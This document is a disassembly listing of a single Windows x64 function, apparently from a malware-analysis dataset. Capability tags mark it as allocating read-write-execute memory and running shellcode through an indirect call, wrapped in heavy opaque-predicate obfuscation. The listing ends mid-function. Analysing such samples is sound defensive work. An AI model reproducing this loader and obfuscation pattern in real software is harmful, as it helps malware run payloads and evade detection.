Function at 0x14008d7d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xc8
mov edx, 0x40
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x49], rax
mov rbx, rax
test rax, rax
je 0x14009244b
mov rcx, qword [0x14033c7d0]
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm7
movsd xmm7, qword [0x14033ca00]
movaps xmmword [rsp + 0x60], xmm8
movsd xmm8, qword [0x14033c9f8]
movaps xmmword [rsp + 0x50], xmm9
movaps xmmword [rsp + 0x40], xmm10
movsd xmm10, qword [0x14033c9f0]
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0x98], r15
mov qword [rbp - 0x51], rcx
test cl, cl
jne 0x14008e76b
movsd xmm6, qword [0x14033ca08]
mov dword [rbp + 0x67], 0
mov eax, dword [rbp + 0x67]
mov esi, dword [rbp + 0x67]
mov r14d, dword [rbp + 0x67]
mov r15d, dword [rbp + 0x67]
mov r12d, dword [rbp + 0x67]
mov r13d, dword [rbp + 0x67]
nop dword [rax]
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008db82
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d996
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008d996
mov esi, 3
jmp 0x14008da23
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008da23
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si esi, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dad0
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008dad0
mov r14d, 3
jmp 0x14008db5e
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008db5e
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r14d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r14d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, esi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e472
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008de94
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dca6
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008dca6
mov r15d, 3
jmp 0x14008dd34
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dd34
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dde1
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008dde1
mov r12d, 3
jmp 0x14008de6f
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008de6f
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r12d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r12d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r15d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e16f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008df7c
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008df7c
mov r13d, 3
jmp 0x14008e00a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e00a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e0b9
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e0b9
mov dword [rbp + 0x6f], 3
jmp 0x14008e149
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e149
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x6f], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x6f]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r13d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e472
mov eax, dword [rbp + 0x67]
sub eax, 0x7b
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e26c
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e26c
mov edi, 3
mov dword [rbp + 0x77], edi
jmp 0x14008e301
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e2fe
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp + 0x77], edi
jmp 0x14008e301
mov edi, dword [rbp + 0x77]
mov eax, dword [rbp + 0x67]
sub eax, 0x7b
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e3bd
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e3bd
mov dword [rbp + 0x7f], 3
jmp 0x14008e44d
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e44d
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x7f], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x7f]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx ecx, byte [0x14037c72a]
movsx edx, al
imul ecx, edx
imul ebx, ecx, 7
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e753
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e55a
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e55a
mov edi, 3
mov dword [rbp - 0x59], edi
jmp 0x14008e5ef
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e5ec
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp - 0x59], edi
jmp 0x14008e5ef
mov edi, dword [rbp - 0x59]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e69e
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e69e
mov dword [rbp - 0x55], 3
jmp 0x14008e72e
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e72e
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp - 0x55], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp - 0x55]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
mov eax, dword [rbp + 0x67]
inc eax
mov dword [rbp + 0x67], eax
mov eax, dword [rbp + 0x67]
cmp eax, 1
jb 0x14008d8b0
mov rbx, qword [rbp - 0x49]
mov eax, dword [rbp - 0x4d]
lea r9, [0x140000000]
xor edx, edx
mov byte [rbp - 0x51], 1
mov r8d, 0x40
mov rcx, rbx
call qword [r9 + rax*8 + 0x370590]
call fcn.140088970
mov qword [rbx], rax
call fcn.140089a80
mov qword [rbx + 8], rax
call fcn.14007c790
lea rcx, [rbx + 0x10]
mov qword [rbx + 0x38], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [0x14033c680]
movsd xmm9, qword [0x14033c9e8]
mov qword [rbp - 0x51], rax
test al, al
jne 0x14008f686
mov dword [rbp + 0x67], 0
mov eax, dword [rbp + 0x67]
mov esi, dword [rbp + 0x67]
mov r14d, dword [rbp + 0x67]
mov r15d, dword [rbp + 0x67]
mov r12d, dword [rbp + 0x67]
mov r13d, dword [rbp + 0x67]
nop dword [rax]
call fcn.1400028f0
movsx edx, byte [0x14037c72b]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008eac2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e8d8
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008e8d8
mov dword [rbp + 0x6f], 3
jmp 0x14008e965
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
